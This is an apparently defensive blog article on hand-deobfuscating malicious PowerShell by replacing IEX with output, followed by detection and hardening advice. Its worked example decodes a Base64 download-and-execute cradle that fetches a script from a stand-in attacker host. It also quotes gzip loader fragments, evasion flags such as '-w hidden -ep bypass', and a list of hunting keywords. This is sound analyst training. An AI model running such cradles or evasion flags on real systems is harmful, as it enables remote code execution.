Deobfuscating Malicious PowerShell for Analysts

Deobfuscating Malicious PowerShell for Analysts - article cover image Tools & Defense
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

PowerShell is one of the most heavily abused native Windows tools in modern intrusions: it is installed everywhere, trusted by default, capable of everything from downloading a payload to reflectively loading a .NET assembly entirely in memory, and — critically for attackers — extremely easy to obfuscate in ways that defeat naive signature detection while still executing cleanly. For an analyst, the ability to peel back Base64 encoding, string manipulation, and compression layers by hand is a core skill that turns an unreadable one-liner captured in a log or on disk into a readable indicator of what the attacker actually intended to run.

Deobfuscation here means static analysis: recovering the *intent* of a malicious script without executing it, using PowerShell’s own string and encoding primitives against the obfuscation rather than running the sample and hoping to observe its behavior safely. This matters because the safest way to understand a PowerShell downloader is very often to never let it make its network connection at all.

Attack Prerequisites

This is an analyst technique, not an attack; applying it requires:

  • A captured sample — from a file on disk, an email attachment, or (most commonly) the full script-block text captured by PowerShell Script Block Logging (Event ID 4104).
  • An isolated analysis environment — a snapshot-able VM with no network egress, since deobfuscation frequently involves running *fragments* of the attacker’s own decoding logic (e.g. their Base64 decode call) to reveal the next layer, which must never be allowed to also execute the payload itself.
  • A PowerShell host to run decode helpers in (pwsh/powershell.exe), with Invoke-Expression/IEX calls in the sample manually replaced or neutralized before anything is run.
  • Familiarity with common obfuscation primitives — Base64, compression, string reversal/concatenation, and character-code arrays — so each layer is recognizable on sight.

How It Works

Most malicious PowerShell obfuscation is not cryptographically sophisticated — it exists to defeat static string/signature matching, not a determined human reader. The building blocks recur constantly: Base64 encoding via the -EncodedCommand/-enc flag (which expects UTF-16LE bytes, Base64-encoded); string reordering via concatenation ('a'+'b'+'c'), reversal ('dneS-teN'[-1..-9] -join ''), or the format operator ('{2}{0}{1}' -f 'b','c','a'); character-code construction building a string from an array of integers cast through [char]; and compression, typically a System.IO.Compression.GzipStream or DeflateStream wrapping a memory stream, itself often layered inside a Base64 blob so the compressed bytes survive as text. All of these ultimately funnel into Invoke-Expression/IEX, .Invoke(), or the PowerShell call operator (&) to execute the final, deobfuscated payload — which is precisely the call an analyst wants to intercept and replace with a harmless output statement instead.

A key ally for analysts is that AMSI (the Antimalware Scan Interface) and modern script-block logging both operate *after* PowerShell’s own engine has deobfuscated the script for execution — the engine has to see the real code to run it, regardless of how many layers of encoding wrap it in the source. This is why Event ID 4104 frequently captures multiple logged blocks per execution: PowerShell logs each dynamically generated code block (for example, the string produced by an IEX argument) separately as it is about to execute it, effectively doing a large part of the deobfuscation work automatically if logging was enabled at execution time.

When script-block logging was *not* enabled and only the obfuscated source is available, manual peeling is necessary: identify the outermost encoding (Base64 is instantly recognizable by its character set and padding), decode it, inspect the result for the next layer’s signature (a GzipStream constructor, a -join on a char array, a -f format string), and repeat until a plain, readable script remains.

Practical Example / Configuration

A representative deobfuscation walkthrough. Start from a captured -EncodedCommand blob — decode it manually rather than letting PowerShell execute it:

# Layer 1: -EncodedCommand is always UTF-16LE, Base64-encoded
$enc = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGUAeABhAG0AcABsAGUALwBhAC4AcABzADEAJwApAA=='
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($enc))

# Output reveals: IEX (New-Object Net.WebClient).DownloadString('http://evil.example/a.ps1')
PowerShell

Layer-2 example: a script that hides a further Base64+Gzip payload inside itself, decoded without execution by substituting IEX for a plain variable assignment:

# Attacker code (DO NOT run as-is -- note the IEX at the end):
#   $d=[Convert]::FromBase64String('H4sIAAAAAAAAC...'); 
#   $ms=New-Object IO.MemoryStream(,$d); 
#   $gz=New-Object IO.Compression.GzipStream($ms,[IO.Compression.CompressionMode]::Decompress); 
#   $sr=New-Object IO.StreamReader($gz); IEX $sr.ReadToEnd()

# Analyst version: run everything up to IEX, capture the result instead of executing it
$d  = [Convert]::FromBase64String('H4sIAAAAAAAAC...')
$ms = New-Object IO.MemoryStream(,$d)
$gz = New-Object IO.Compression.GzipStream($ms,[IO.Compression.CompressionMode]::Decompress)
$sr = New-Object IO.StreamReader($gz)
$sr.ReadToEnd()   # <- prints the real payload instead of running it
PowerShell

String-concatenation and format-operator obfuscation are unwound the same way — evaluate the expression up to but not including the final IEX/&/.Invoke():

# Attacker: IEX ( 'Sta'+'rt-Proc'+'ess' + ' calc.exe' )
# Analyst: drop the IEX, just evaluate the string build
'Sta'+'rt-Proc'+'ess' + ' calc.exe'

# Attacker: IEX ('{2}{0}{1}' -f 'wnl','oad','Do')  (obfuscated function name)
# Analyst:
'{2}{0}{1}' -f 'wnl','oad','Do'
PowerShell

Walkthrough / Exploitation

For a fully unknown sample where the obfuscation technique is not obvious at a glance, a safe general-purpose approach is to enable tracing in an isolated, network-disconnected VM and let PowerShell’s own parser do the layer-peeling, while intercepting the final execution call:

# In an isolated, offline VM/snapshot only:
Set-PSDebug -Trace 1
# Then paste/run the sample with every IEX/Invoke-Expression manually
# replaced by Write-Output, so each layer prints instead of executes.
Set-PSDebug -Off
PowerShell

Purpose-built community tooling automates much of this for larger or heavily layered samples — Revoke-Obfuscation (FireEye/Mandiant) statistically detects and helps triage obfuscated PowerShell at scale, and PSDecode walks common obfuscation patterns automatically. For one-off manual work, the pattern above — decode/evaluate up to the execution call, inspect, repeat — covers the overwhelming majority of samples seen in commodity loaders and post-exploitation frameworks.

Note: Flags like -nop (NoProfile), -noni (NonInteractive), -w hidden (WindowStyle Hidden), and -ep bypass (ExecutionPolicy Bypass) commonly accompany -enc in malicious command lines and are themselves useful detection signatures independent of decoding the payload — they rarely appear together in legitimate administrative scripting.

Opsec / Analyst tip: Never let a partially-deobfuscated sample reach its final IEX/Invoke() call outside a fully isolated, snapshotted, network-disconnected VM — the whole point of peeling layers manually is to read the payload without ever giving it a chance to actually run or reach out to attacker infrastructure.

Detection and Defense

Because deobfuscation is a response activity, the highest-leverage defenses are the ones that make obfuscated PowerShell visible and constrained in the first place:

  • Enable Script Block Logging and Module Logging (Event IDs 4104/4103 under Microsoft-Windows-PowerShell/Operational) via GPO — the engine logs the deobfuscated code as it executes, which is often more valuable than the original obfuscated source.
  • Enable PowerShell Transcription for a persistent, file-based session record independent of the event log.
  • Ensure AMSI is active and not bypassed — AMSI inspects post-deobfuscation content immediately before execution, catching many obfuscated payloads that string-based AV signatures miss.
  • Hunt for common obfuscation/evasion markers in 4104 content and command lines — -enc, FromBase64String, IEX, Invoke-Expression, -noni -nop -w hidden, [char[]], -join, GzipStream.
  • Constrain PowerShell with Constrained Language Mode and AppLocker/WDAC so even successfully deobfuscated attacker code is denied access to .NET reflection and other high-risk capabilities.

Real-World Impact

Obfuscated PowerShell (MITRE ATT&CK T1027 and T1059.001) is a staple of commodity loaders, post-exploitation frameworks, and ransomware precursors precisely because the interpreter is present on virtually every Windows host and easy to layer with cheap, effective obfuscation. Script Block Logging’s introduction significantly raised the cost of this evasion for defenders equipped to use it, which is why enabling 4104 logging is one of the most consistently recommended low-cost, high-value controls in Windows security hardening guidance.

Conclusion

PowerShell obfuscation is built from a small, recognizable set of primitives — Base64, compression, string reordering, and character-code construction — that all converge on a single execution call an analyst can safely intercept and print instead of run. Combined with Script Block Logging, which frequently does the deobfuscation automatically at execution time, methodical layer-peeling turns even heavily obfuscated one-liners into a clear, actionable understanding of attacker intent.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL